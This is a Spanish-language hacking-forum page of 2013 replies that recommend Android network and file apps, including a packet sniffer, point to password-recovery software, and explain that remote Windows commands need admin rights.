Hacking / Re: Snifer para Android
30 Diciembre 2013, 13:12 PMCita de: domin05 en 28 Diciembre 2013, 09:59 AM
Hola a todos quisiera aprender y saber si usáis alguna app para realizar Snifer para una red???
Enviado desde mi HTC Desire 601 usando Tapatalk 2
saludos creo que nadie te habia respondido porque como se habla de sniffer no es hacking etico.
mas sin embargo tenes app como wifi sniffer. te dejare alguna app aver si alguna te gusta espero no borren el post:
AndFTP (gestor de servidores)
Empezamos con este potente cliente FTP para el control de vuestros archivos alojados en los servidores FTP a nuestra disposición, muy útil para webmasters, administradores web e incluso diseñadores, pero también para cualquier blogger avanzado y/o dueño de una web o que trabajen con archivos alojados en este tipo de servidores.
Perfecto para servidores FTP, FTPS, SCP y SFTP. Doble navegador (dispositivo y servidor), descarga, sube, renombra, sincroniza, borra... lo que quieras con tus archivos. Soporta claves SSH RSA/DSA.
La versión de pago además permite soporte SCP, sincronización de carpetas, ejecución de comandos customizados e importación de ajustes desde el archivo.
En el Market | AndFTP (Gratis) | AndFTPPro (3,99€)
Es File Explorer
Uno de los más completos exploradores de archivos para Android, no sólo podremos hacer lo propio que podríamos hacer con otras aplicaciones tan conocidas como Astro, si no que también podremos, aprovechando si somos root, de acceder a archivos internos del sistema, pero más allá de ello podremos también incluso hacer conexiones con otros dispositivos.
De esta manera podríais acceder a carpetas locales en un ordenador de la misma red, también por FTP o Bluetooth.
En el Market | Es Explorador de archivos (Gratis)
WiFi Analyzer
Está bastante claro de que trata esta aplicación, básicamente analiza las redes WiFi a nuestro alrededor.
Digo simplemente porque es una herramienta muy completa para poder ver la intensidad y calidad de la señal así como saber si otras redes están ocupando nuestro mismo canal, entre otras cosas.
En el Market | WiFi Analyzer (Gratis)
Shark for Root y Shark Reader
Shark for root es un sniffer para el tráfico de una red basado en Tcpdump, con lo que podemos generar capturas de una red WiFi o 3G, almacenándolas en ficheros pcap. Para poder visualizarlos en el ordenador tienes la aplicación Wireshark, y para poder visualizarlos en el teléfono, Shark Reader.
En el Market | Shark for Root (Gratis) | Shark Reader (Gratis)
Connectbot
Esta app no tiene abuela, se autodefine como un cliente SSH de código abierto simple y poderoso. Podrás crear y administrar diferentes sesiones y crear túneles seguros, además de copiar y pegar entre diferentes aplicaciones.
En el Market | Connectbot (Gratis)
Samba Filesharing
Utilizando el protocolo Samba, esta aplicación transforma nuestro Android para que pase a formar parte de una red local, como un dispositivo más, como una carpeta más, mejor dicho.
No habrá ninguna distinción, será como un equipo más integrante de la red local, de tal manera que podremos, transferir archivos y visualizarlos sin ningún problema desde cualquier otro equipo de la misma red.
Podremos configurar diferentes parámetros como: nombre de usuario, contraseña, grupo de trabajo y nombre de NetBIOS.
Eso sí, habrás de ser root para poder disfrutar de estas funcionalidades.
En el Market | Samba Filesharing (Gratis)
MySQL Client for Android
Conectarnos a una base de datos SQL remota es posible gracias a esta aplicación.
Selecciona, inserta y actualiza datos en tus tablas, guarda historial de consultas... Todo desde tu teléfono. Luego, puedes guardar los resultados en un fichero CSV.
La aplicación no podrá hacer las veces de un gestor de bases de datos totalmente, pues todavía le queda mucho camino por andar, pero para ir tirando y solucionar alguna urgencia, podréis perfectamente usarlo.
En el Market | MySQL Client for Android (3,40€)
Speedtest
Muchos conoceréis la versión web de Speedtest, para medir la velocidad de subida y bajada de vuestra red. Pues por supuesto también hay una app para medir estos mismos parámetros en tu Android.
Datos muy fiables y muy interesantes para ver la velocidad real de vuestra red 3G.
En el Market | Speedtest.net Mobile (Gratis)
Touchqode
Si habéis empezado a adivinar de qué se trata por el título, seguramente vayáis bien encaminados, se trata de un editor de código.
Sí, sí, tal y como leéis, y aunque muchos preferiréis una pantalla grande para estos menesteres, os puede ayudar en caso de urgencia en la pantalla de vuestro teléfono, aunque dudo que pongáis muchas trabas si se trata de una pantalla de tablet.
Soporta varios lenguajes de programación, de los más comunes de hecho: Java, HTML, javascript, C++, C#, Ruby y PHP.
En el Market | Touchqode (Gratis)
SwiFTP
Con esta aplicación podrás convertir tu teléfono Android en un servidor FTP, accesible desde la WiFi o 3G, permitiéndote de esta manera acceder a tus archivos desde cualquier cliente de FTP en cualquier parte del mundo. Tan simple y tan grande.
En el Market | SwiFTP FTP Server (Gratis)
Overlook Fing
Una aplicación casi imprescindible para un administrador de red con un teléfono Android.
Podremos detectar redes, administrar los equipos de nuestra red, escanear puertos, hacer ping, traceroute y búsqueda de DNS. Casi nada...
#209
Hacking / Re: Quiero recuperar las contraseñas de mi pc
30 Diciembre 2013, 13:08 PMCita de: Elsevi en 21 Octubre 2013, 01:04 AM
Hola buenas compañeros me gustaría recuperar las contraseñas de mi PC existe algún programa que saque las contraseñas de mi PC por ejemplo de hotmail,skype todo lo que yo haya tecleado en mi portatil si exite algún programa decirme por favor lo necesito por que se me ha perdido y olvidados varias contraseñas.Saludos
claro que las hay hermano se que el post es un poquito viejo pero amo responder de igual forma alguien entrara y las leera algun dia.
para todo hay programas y todo tiene solucion menos la muerte. solo googlea un poco: pon programa para recuperar contraseñas guardadas en la pc. y te saldran un monton
#210
Hacking / Re: Hacerle comandos a los ordenadores de mi red
30 Diciembre 2013, 13:06 PMCita de: Zomkar en 29 Diciembre 2013, 01:26 AM
te estas encaminando mal.
Windows es vulnerable, pero tanto...
No tienes permisos administrativos para ejecutar NINGÚN comando remoto si tu usuario no es Admin. de ese PC. El hecho de que esté en tu LAN no lo hace automáticamente miembro de tu red windows ni nada parecido. Son cosas distintas.
Sabes lo que es un Dominio windows? ahí es donde estas cosas pueden funcionar..ya que el usuario Admin del Dominio es Admin de TODO.
PS: por cierto en la mayoria de casos el servicio de mensagero de windows no viene habilitado por el mal uso que le da la gente...en cuanto a taskkill remoto, que yo sepa no existe nativo de windows, para eso estan las PStools pero repito, necesitas un usuario con permisos.
Zomkar asi es compadre muy bien explicado!!!